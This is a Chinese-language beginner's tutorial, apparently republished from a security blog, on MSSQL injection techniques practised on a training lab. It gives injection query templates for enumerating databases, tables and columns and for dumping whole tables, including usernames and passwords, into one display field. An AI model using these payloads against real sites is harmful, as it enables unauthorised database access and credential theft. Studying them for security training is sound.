No.0
前言
记录自己的学习过程,投稿还能赚钱所以就有了这篇文章,以后会持续更新的。起个名字就叫小白学习日记吧!
在工作当中所遇到的sql server数据库还是蛮多的,但是网上并无很多关于mssql技巧总结,那么本文就mssql来做一些个人的思路总结同时也对云山师傅的课程做一个简单的补充,话不多说,马上开始。
No.1
简述
icrosoft SQL Server(微软结构化查询语言服务器),也叫Mssql,是由美国微软公司所推出的关系型数据库。默认端口号为1433,但是此端口可能为动态变化的(可以修改配置)。
Mssql常用场景:
学校、政府、医院、棋牌游戏、人事考试网站
常见搭配:
asp/aspx+sql server+IIS
No.2
MSSQl注入常用的系统视图
先来了解一些在注入的时候可能涉及到的系统视图吧~
1.sys.objects:可以查看所有类型的数据库对象,包括表、视图、存储过程。主要我们用来查询数据库的表,以及表的object_id,常用字段:name(表名),object_id(表的唯一标识符),type(表的类型,U为用户创建的,S是系统基础表)。
2.sys.columns:存储数据库中的每个表的列信息,包括列名、数据类型、长度等。常用字段:object_id(表的唯一标识符),name(列名),column_id(列的唯一标识符)
3.sys.databases:该视图包含了 SQL Server 实例中所有数据库的信息,如数据库名、创建日期,我们主要用来查看有哪些数据库,常用字段:name(数据库名),database_id(数据库唯一标识符),owner_sid(数据库所有者的id,系统数据库的owner_sid值为0x01)
4.sysobjects:旧版的sys.objects;sysdatabases:旧版的sys.databases;syscolumns旧版的sys.columns
5:INFORMATION_SCHEMA.TABLES:用法类似于mysql,查询表的名字
6:INFORMATION_SCHEMA.COLUMNS:用法类似mysql,查询列名的
具体的这些视图大家不用记,往后看就可以了,后文会说。
No.3
MSSQl常用注入语句和使用技巧
首先大家要明白,在MSSQL环境中执行的一般的查询语句默认都是在当前数据库中进行查询,那么如果当前数据库中没有我们想要的信息(一般是有的)是否可以进行跨库查询信息呢?答案是可以的,大多数跨库查询操作都是在所查询的视图前面加一个数据库名字和一个".",例如:select top 1 name from 数据库名.sys.tables, 具体操作大家往后看。
下面的演示主要用的是隐雾的MSSQL显错注入靶场,显错注入靶场的使用的数据库为:test(当前数据库),有效表为flag
判断数据库信息
select @@version 判断数据库版本
select @@servername; 查询服务名
获取数据库名:
select @@version 判断数据库版本
select @@servername; 查询服务名
技巧1:可以通过改变db_name() 的参数值来查看当前SQL SERVER环境中其他数据库名字(前提是权限足够)。
select db_name(5) 查询第一个非系统数据库 因为系统数据库就4个:mastertempdbmodeldistribution,也就是从5开始往后都是用户个人创建的数据库。
后续数据库就是5+1 select db_name(6) select db_name(7) 。。。
写db_name()的时候我们默认是显示当前网页所使用的数据库名称:test。
刚刚也说过了从5开始为用户创建的数据库,那么db_name(5)就是用户创建的第一个数据库:baocuo,看名字是存放报错注入flag的数据库。后面的操作同理,只需要递增数字就可以。结合后面说的跨库查询操作,就可以在当前网页上查询剩余数据库的所有信息。
也就是说我们在理想情况下(权限足够)可以通过一个注入点获取整个MSSQL环境中的所有数据库名称
技巧2:如果db_name()被过滤了怎么办?可以试试file_name(1)
select file_name(1) 解释:一般数据库文件名和数据库名字在创建的时候是相同的,如果db_name()被过滤掉可以试试这个
我们可以看到通过 file_name(1) 成功获取到了当前的数据库名字:test,但是需要注意的是: file_name() 这个函数无法像db_name()一样获取其他的数据库名称,它只能获取当前数据库的文件名进而推测当前的数据库名。
技巧3:快速获得所有数据库名
select db_name(n) n从5开始穷举
或者
SELECT name FROM sys.databases WHERE database_id=n;可以通过爆破database_id来获取所有的数据库名,因为database_id的值是从1开始的,1-4为系统数据库,也就是我们从5开始递增。(隐雾靶场这句话好像用不了,我附上了在数据库执行的结果,以及我自己搭建的靶场的效果图)
改变database_id的值便可以得到不同的数据库名.
No.4
获取数据库表名
跨库查询数据库表名
在上一步我们查询数据库名字的时候可能会发现其他可能存有敏感信息的可疑的数据库名字,这时候就可以进行跨库查询。
select top 1 name from 数据库名.dbo.sysobjects where xtype='u'
select top 1 name from 数据库名.sys.tables
select top 1 TABLE_NAME from 数据库名.INFORMATION_SCHEMA.TABLES
比如我们在上面看到了不是当前网页使用数据库的名字time。
举例:获取time数据库的表名
select top 1 null,null,name from time.dbo.sysobjects where xtype='u'
当top 1的值不是我们想要的最终结果,我们就接着查第二个,如果想显示更多数据再在后面加and name <>'第一次输出中的表名'以此类推,或者是name not in ('name1','name2'),后面查询结果的依旧如此(注意给表名加单引号!)
查询当前数据库表名
select top 1 name from sys.objects where type='u'或者
select top 1 name from sysobjects where xtype='u'
select top 1 name from sys.tables
select top 1 TABLE_NAME from INFORMATION_SCHEMA.TABLES
技巧:!=被无法使用了怎么办?可以使用<>(和"!="一个意思)和not in('值1','值2',...) 个人喜好使用not in
比如下面这个语句,它也是用来查询当前数据库的表名的:
SELECT top 1 name FROM sys.databases WHERE owner_sid<> 0x01 and name not in ('name1','name2',...)
因为系统表的owner_sid为0x01,那么只要不是0x01就是用户创建的表啦
No.5
获取表的objeict_id
object_id:表的唯一标识符,类似于一张表的id(主键),object_id可以用来查询列名等信息(注意和回显位的数据类型相匹配)
select object_id from 数据库名.sys.objects where type='u' and name='表名'
举例:获取time数据库中flag表的object_id
select null,null,object_id from time.sys.objects where type='u' and name='flag'
看到这里大家可能会觉得,MSSQL注入好麻烦哦,还得获取object_id !QAQ
技巧:如果是只是在网站所使用的当前数据库中查询那可以不用获取object_id的具体值,因为我们可以直接使用object_id()这个函数来代替object_id的具体值来查询列名!!。语句见下文
No.6
获取表的列名
获取当前的数据库列名
技巧:object_id('表名')的作用就是直接通过函数转化表名为object_id,这样我们就不用另外获取object_id了哦~
select col_name(object_id('表名'),n) 将n从1开始递增就可以获取不同列的值 (个人喜好这个方法)
举例:查询当前数据库(test)中flag表的列名
select null,null,col_name(object_id('flag'),1)
或者使用以下语句都可以,这里就不一一展示了,道理都是一样的
select name from sys.columns whereobject_id=object_id('表名') and column_id=1 (将n从1开始递增就可以获取不同列的值)
select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS
跨库获取列名
select top 1 name from 数据库名.sys.columns where object_id=表名的object_id
select name from 数据库名.sys.columns where object_id=表名的object_id and column_id=1
select top 1 COLUMN_NAME from 数据库名.INFORMATION_SCHEMA.COLUMNS
举例:获取time数据库中flag表的列名
select null,null,name from time.sys.columns where object_id=933578364 and column_id=1
No.7
获取字段
跨库获取字段值
select 字段名 from 数据库名.dbo.表名
获取当前库字段值
select top 1 字段名 from 表 where 字段=某个值或select top 1 字段名 from 表 where 字段 not in ('值1','值2')
技巧:同时在一个显示位显示多个字段(一行)的值,这样再也不用担心显示位不够了呢~
select top 1 concat(字段名1,'/',字段名2,'/', 字段名3) from 表
举例:在一个显示位置显示当前数据库中表ywaq的第一行值:
select top 1 null,null,concat(id,'/',username,'/', password) from ywaq
技巧——在一个显示位显示一张表所有字段信息:
有时候我们注入的时候,top 1不是我们想要的结果的时候,然后下面就得去进行!=或者<>或者not in等等这些的条件排除操作,那有没有方法在一个显示位就能显示一张表的所有的信息呢,答案是可以的,我们可以将多个查询结果进行整合、拼接为一个很长的值,这样就可以在一个显示位显示啦。
select stuff((select concat(quotename(字段名1),'|',quotename(字段名2),'|',quotename(字段名3)) from 表名 for xml path('')),1,0,'')
举例:在一个显示位显示ywaq表的所有字段的值
select null,null,stuff((select concat(quotename(id),'|',quotename(username),'|',quotename(password)) from ywaq for xml path('')),1,0,'')
隐雾这个靶场的ywaq数据库只有一行数据,看不出来效果,下面我用自己搭建的靶场给大家演示一下.
可以看到,我在一个显示位显示了两组数据,每组数据用"|"分隔,每个值用"[]"包裹.
具体每个函数含义,大家直接去百度就行,在此不赘述了。
Web学员投稿
No.8
原文始发于微信公众号(隐雾安全):小白学习日记-Mssql注入技巧(上)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论